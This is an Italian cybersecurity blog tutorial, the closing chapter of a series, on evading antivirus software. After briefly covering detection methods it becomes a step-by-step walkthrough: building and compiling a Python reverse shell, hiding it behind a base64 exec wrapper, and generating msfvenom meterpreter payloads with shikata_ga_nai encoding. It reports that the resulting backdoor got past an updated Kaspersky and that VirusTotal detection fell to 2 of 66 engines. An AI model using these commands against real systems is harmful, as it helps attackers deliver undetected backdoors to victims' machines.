A cura di Vincenzo Digilio – Cyber Security Specialist

Tecniche di Antivirus Bypass

 Capitolo IX – Epilogo

Infine, attraverso honeypot, keylogger, dosattack, botnet, siamo giunti al termine del nostro viaggio tra i capitoli del manifesto The Fallen Dreams, che proprio in questi giorni viene ripubblicato assieme ai disegni di tutti gli artisti che hanno contribuito a rendere il nostro viaggio unico, episodio dopo episodio.

Il capitolo finale “Idoli” cela un rebus proprio sull’ “ultima meta”, soffermandosi sul significato del “viaggio”: non è l’arrivo ciò che è realmente importante, ma la strada da percorrere per raggiungerlo. E a volte, lungo questa strada, dovremo mantenere un basso profilo e applicare numerose tecniche di “Evasion e Bypass”!

Antivirus
[ Torna all’indice ]

Lo scopo di un antivirus è quello di prevenire, rilevare e rimuovere del codice dannoso. Generalmente un antivirus si basa su tre tecniche di analisi: Signature (firme), Heuristic (euristica) e Behavioural (comportamentale).

Signature Based: prevede che il file da analizzare venga confrontato con un archivio contenente le firme dei malware conosciuti. Potremmo immaginare di avere un archivio che contiene le sequenze del DNA dei virus: ogni qual volta verrà rilevata una correlazione (fra uno dei DNA presenti nell’archivio dell’antivirus ed il file analizzato), il programma riconoscerà il file come malevolo. Un limite evidente di questa tecnica è la presenza della firma all’interno dell’antivirus: se il nostro “DNA” (la sequenza continua di byte comune per alcuni modelli di malware) non è presente nel nostro database, l’antivirus non rileverà il malware.

Heuristic Based: questa tecnica permette all’antivirus di rilevare del codice maligno non presente all’interno del suo database e viene utilizzata in modo complementare alla tecnica basata su firme. Consiste nell’individuare un determinato set di codice / istruzioni che eseguono determinate azioni categorizzate come dannose. Generalmente, a seconda della sua implementazione, questa tecnica genera un numero maggiore di falsi positivi e/o negativi.

Behavior Based: l’analisi del comportamento indaga le azioni di un dato file binario e le categorizza in lecite o illecite.

Tecniche di Evasion
[ Torna all’indice ]

Per comodità, divideremo le tecniche di evasion in due categorie:

  1. Memoria di Massa: si agisce sui file fisicamente memorizzati sul device della vittima, per evadere l’antivirus.
    • Obfuscators: il codice malevolo viene nascosto all’interno del codice di un dato processo legittimo. Ad esempio, aggiungendo dead-code o cambiando la semantica delle istruzioni esistenti con quelle malevole.
    • Packers: riducendo la dimensioni dell’eseguibile, ad esempio attraverso software di compressione (winRAR), viene creata una struttura binaria completamente differente dall’originale. In questo modo, il nostro antivirus non riconoscerà la firma del nostro codice malevolo.
    • Protectors: vengono sfruttati i processi realizzati allo scopo di proteggere il software, creando i payload con metodologie di virtualization e con successivo invio dei file alla vittima.
    • Cryptors: si agisce prima che l’AV possa essere in grado di bloccare l’esecuzione del malware, crittografando il malware e lasciando l’algoritmo di decifratura sulla memoria. Una volta che il codice eseguibile viene decodificato sul disco, è ormai troppo tardi.
  1. Memoria Volatile: nessun tipo di dato viene scritto fisicamente sulle memorie di massa o allocato al loro interno, si agisce direttamente sulla memoria volatile al fine di bypassare i controlli.
    • Process Memory Injection: attraverso le API di Windows è possibile creare un “Thread”, caricarlo ed eseguirlo in memoria. Agganciandoci ad un processo in esecuzione, potremmo aprirlo utilizzando la chiamata OpenProcess(), VirtualAllocEx() per allocarlo in memoria, WriteProcessMemory() per scrivere all’interno del processo in esecuzione, quindi provare un GetModuleHandle() per ottenerne l’handle, GetProcessAddress() per il suo indirizzo e infine creare il nostro thread usando CreateRemoteThread() in memoria.
    • Hooking: agganciandoci ad una funzione lecita ne cambiamo il suo normale flusso d’esecuzione, in modo che venga eseguito il nostro codice malevolo al suo interno.
    • Process Hallowing: sostituiamo un processo legittimo con un suo duplicato, ma contente del codice malevolo. Così facendo il processo autorizzato nasconderà il codice illegittimo.
    • DLL Injection: Le Dynamic Link Library (DLL) facilitano la reiterazione di operazioni standard che i vari programmi si trovano a dover eseguire, semplicemente caricando una DLL. In maniera analoga al Process Injection il malware viene agganciato ad una DLL ed eseguito.

Intro – Il nostro laboratorio
[ Torna all’indice ]

  • La nostra macchina attaccante sarà una Kali Linux, avente ip : 192.168.178.59
  • Il nostro target, una macchina Windows 10x64bit aggiornata, con Kaspersky Security Cloud installato (anch’esso aggiornato), avente ip: 192.168.178.78
  • Una macchina clone di testing, con specifiche analoghe al nostro target priva di antivirus, che chiamerò: testerX .

I – Creazione di una Reverse Shell in Python
[ Torna all’indice ]

Il primo nostro passo sarà quello di scrivere la reverse shell in python, utilizzando la nostra macchina attaccante. Di seguito, trovate il codice commentato:

Una volta terminato, salviamolo in un file con estensione .py, (ad esempio: RShell_Windows.py) ed usciamo dal nostro editor di testo.

II – Testiamo la nostra Reverse Shell
[ Torna all’indice ]

Dopo aver terminato la scrittura della backdoor, avviamo la nostra la macchina di testing (testerX).

Installiamo l’ultima versione di python, scaricabile al seguente link:
https://www.python.org/downloads/windows/ .

Facciamo attenzione fra 32 e 64 bit (nel nostro caso sceglieremo quella a 64bit). Seguiamo la procedura di installazione guidata ed al termine riavviamo la macchina.

Adesso passiamo il nostro file RShell_Windows.py, dalla macchina attaccante al testerX.

Dalla nostra Kali Linux, avviamo il servizio per abilitare il nostro web server apache2, digitando:

service apache2 start

Trasferiamo la nostra reverse shell nella directory /var/www/html

cp RShell_Windows.py /var/www/html

Spostiamoci sulla macchina testerX ed aprendo un browser qualsiasi puntiamo all’URL del nostro web server contenente il file, al fine di scaricarlo e salvarlo in locale:

http://192.168.178.59/RShell_Windows.py

A questo punto, utilizziamo la combinazione di tasti win + R e nella finestra che ci appare digitiamo cmd, per aprire il prompt dei comandi di windows, dando invio.

Spostiamoci ora nella cartella dove abbiamo scaricato il nostro file.

cd /percorso/del/nostro/script

Dalla macchina attaccante, mettiamoci in ascolto sulla porta 5555 (la porta dichiarata nel nostro codice) con il comando:

nc –lvp 5555

  • nc: invochiamo netcat
  • -l: listening mode
  • -v: verbose
  • -p: porta
  • 5555: porta su cui desideriamo metterci in ascolto

Torniamo sulla nostra macchina Windows (testerX) e dal prompt dei comandi che abbiamo aperto pocanzi, digitiamo:

python RShell_Windows.py

A questo punto, sulla macchina attaccante dovremmo aver ricevuto la nostra reverse shell.

III – Connessione al nostro Server-bot
[ Torna all’indice ]

Dopo esserci assicurati che lo script funzioni correttamente, generiamo il nostro file exe. L’estensione EXE identifica, nei sistemi Windows, un file che contiene codice eseguibile, cioè un programma.

Al fine di generare il nostro exe, spostiamoci sulla macchina testerX ed installiamo l’utility di python: pyinstaller.

Pyinstaller leggerà il nostro script analizzandolo ed individuando ogni altro modulo e libreria, di cui il nostro script necessita per essere eseguito in maniera indipendente ed autonoma (standalone). Pyinstaller genererà il file .exe del nostro script in maniera dipendente alle caratteristiche della macchina su cui viene eseguito: in altre parole il nostro file exe sarà ottimizzato per girare su sistemi Windows 10 a 64bit.

Per prima cosa, è necessario installarlo digitando (sempre dal cmd):

pip install pyinstaller

Al termine dell’installazione spostiamoci al percorso contente il nostro script:

cd /percorso/del/nostro/script

Lanciamo pyinstaller:

pyinstaller –onefile RShell_Windows.py

A questo punto, nella cartella appena creata: dist , troveremo il file .exe della nostra reverse shell.

cd /percorso/del/nostro/script/dist/RShell_Windows.exe

Prima di uscire dalla nostra macchina tester copiamo il nostro file RShell_Windows.exe su una share di rete o creiamone una da Oracle VM, cliccando sulla voce Devices nella barra in alto. Selezioniamo “Shared Folders”, poi “Shared Fodler Settings” ed aggiungendo una nuova cartella condivisa, cliccando sull’icona a destra con il simbolo +.

IV – Backdoor sulla macchina vittima
[ Torna all’indice ]

Chiudiamo pure la nostra macchina testerX ed avviamo la nostra macchina vittima con Windows 10 e l’antivirus Kaspersky Security Cloud aggiornato.

Preleviamo il file RShell_Windows.exe e prima di avviarlo spostiamoci sulla nostra macchina attaccante, mettendoci in ascolto con il comando: nc –lvp 5555

L’Antivirus, come potete vedere, non interviene sul file per rimuoverlo. Eseguiamo un doppio click e avviamolo per avere la nostra ReverseShell.

Encode in base64
[ Torna all’indice ]

Base64 è un sistema di codifica che consente la traduzione di dati binari in stringhe di testo ASCII. Utilizziamo questo sistema di decodifica per camuffare la nostra Reverse Shell.

Sulla macchina attaccante digitiamo il seguente comando per effettuare la codifica in Base64 del nostro python script, RShell_Windows.py ,con anche i commenti in modo da aggiungere entropia al nostro codice.

base64 RShell_Windows.py

Creiamo adesso il nostro nuovo file .py contente il nostro script in BASE64.

Avviamo un editor di testo ed inseriamo il seguente codice, facendo attenzione alla formattazione quando incolliamo (nel nostro nuovo script) il codice in Base64.

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,’UTF-8′)}[sys.version_info[0]](‘CODICE_SCRIPT_INBASE64’)))

Al posto di CODICE_SCRIPT_INBASE64: dovremo ovviamente inserire il nostro codice in base64 appena generato [Figura 7].

Salviamo ed usciamo, ottenendo così il nostro nuovo file: RShell_Windows_base64.py

Potremmo decidere di ritestare il nuovo codice (come abbiamo già fatto al punto 2), riverificando il funzionamento della nostra revers shell sulla macchina testerX .

Generazione di una Shellcode con msfvenom
[ Torna all’indice ]

Se prima abbiamo creato manualmente la nostra reverse shell in python, vediamo adesso come generarne una utilizzando msfvenom.

Msfvenom è un’istanza a riga di comando, appartenente al framework Metasploit, utilizzata per generare varie tipologie di shell disponibili in Metasploit. Ad esempio:

    • $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=”IP” LPORT=PORTA -f elf > shell.elf
    • $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=”IP” LPORT=PORTA -f exe > shell.exe
    • $ msfvenom -p osx/x86/shell_reverse_tcp LHOST=”IP” LPORT=PORTA -f macho > shell.macho
    • $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=”IP” LPORT=PORTA -f asp > shell.asp
    • $ msfvenom -p java/jsp_shell_reverse_tcp LHOST=”IP” LPORT=PORTA -f raw > shell.jsp
    • $ msfvenom -p java/jsp_shell_reverse_tcp LHOST=”IP” LPORT=PORTA -f war > shell.war
    • $ msfvenom -p cmd/unix/reverse_python LHOST=”IP” LPORT=PORTA -f raw > shell.py
    • $ msfvenom -p cmd/unix/reverse_bash LHOST=”IP” LPORT=PORTA -f raw > shell.sh
    • $ msfvenom -p cmd/unix/reverse_perl LHOST=”IP” LPORT=PORTA -f raw > shell.pl
    • $ msfvenom -p php/meterpreter_reverse_tcp LHOST=”IP” LPORT=PORTA -f raw > shell.php; cat shell.php | pbcopy && echo ‘
      • msfvenom : comando
      • -p : parametro utilizzato per specificare lo shellcode da utilizzare a seconda della macchina target
      • LHOST : sta per “local host” ed identifica l’indirizzo IP della macchina attaccante
      • LPORT : sta per “local port” ed indentifica la porta della macchina attaccante
      • – f : il formato in cui vogliamo generare la nostra reverseshell
      • > file.estensione : ridirige l’output del comando sul file specificato

Msfvenom encoders
[ Torna all’indice ]

msfvenom permette anche di specificare un dato encoder da utilizzare per la nostra reverseshell, possiamo vedere la lista completa utilizzando il comando:

msfvenom –list encoders

Il più conosciuto fra questi è Shikata Ga Nai (sgn), espressione della cultura giapponese che sta per “le cose sono così come sono” / “nulla può essere fatto”.

L’encoder utilizza un “polymorphic XOR additive feedback”, cioè ad ogni round di decodifica la chiave XOR cambia (“rotating-key”).

Vediamo come questo encoding può incrementare l’evasion per la nostra reverse shell.

Torniamo sulla nostra macchina attaccante.

Utilizziamo il secondo comando (riportato) per la generazione di una reverseshell su piattaforma Windows, tramite msfvenom:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=”192.168.178.59” LPORT=5555 -f exe > shell.exe

Apriamo un qualsiasi browser e navighiamo all’indirizzo: https://www.virustotal.com/ . Selezioniamo il metodo di upload del file, cliccando su “FILE” e poi tramite “CHOOSE FILE” navighiamo nella directory contente la nostra shell.exe appena creata. Confermiamo l’upload. Come potete vedere, una lunga lista di Antivirus ha rilevato la nostra reverse shell, per la precisione 51 su 67.

Proviamo adesso a cambiare tipologia di reverse shell, generandola in powershell ed aggiungendo l’encoder SGN, con l’opzione:

-e x86/shikata_ga_nai

Quindi riscriviamo il comando:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=”192.168.1.8″ LPORT=5555 -f psh > shell_encoded.ps1

Ripetiamo adesso la verifica effettuata prima tramite VirusTotal. Noteremo che la lista di Antivirus che rilevano la nostra backdoor si è dimezzata, grazie al cambio di formato e al nostro encoder: ora sono 20 su 58.

Antivirus Evasion utilizzando Python
[ Torna all’indice ]

Bene, è giunto adesso il momento di dare una bella svolta al nostro detection.

Se non l’abbiamo già fatto precedentemente, copiamo la nostra reverseshell creata in python RShell_Windows.py oppure generiamone una nuova con msfvenom (a voi la scelta), e spostiamo il nostro file nella macchina Windows 10 testerX.

Utilizziamo la combinazione di tasti win+R, digitiamo powershell per aprire la nostra console.

Powershell è un linguaggio, ed engine, orientato agli oggetti con una interfaccia command-line presente in tutte le versioni di Windows, a partire dalla 2008R2.

Installiamo py2exe utilizzando il comando: pip install py2exe.

In maniera analoga a pyinstaller, questa estensione ci permette di generare una versione standalone ed eseguibile del nostro file python.

Apriamo adesso un editor di testo e creiamo un altro file setup.py, dove inseriremo il seguente codice, facendo attenzione ad assegnare a console = [‘il_nome_del_nostro_file_malevolo’]

from distutils.core import setup

import py2exe

setup(

name = ‘Meter’,

description = ‘Python-based App’,

version = ‘1.0’,

console=[‘RShell_Windows.py’],

options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},

zipfile = None,

)

Salviamo ed usciamo.

Torniamo adesso al nostro terminale powershell e diamo il seguente comando:

python.exe .\setup.py py2exe

Verrà creata una nuova cartella, dist, con all’interno diverse dll e la nostra backdoor RShell_Windows.exe.

Ancora una volta, non ci rimane che verificare tramite VirusTotal il nostro risultato, come già fatto precedentemente.

Ci siamo! Solamente 2 su 66 Engine di antivirus hanno “detec-tato” il nostro malware.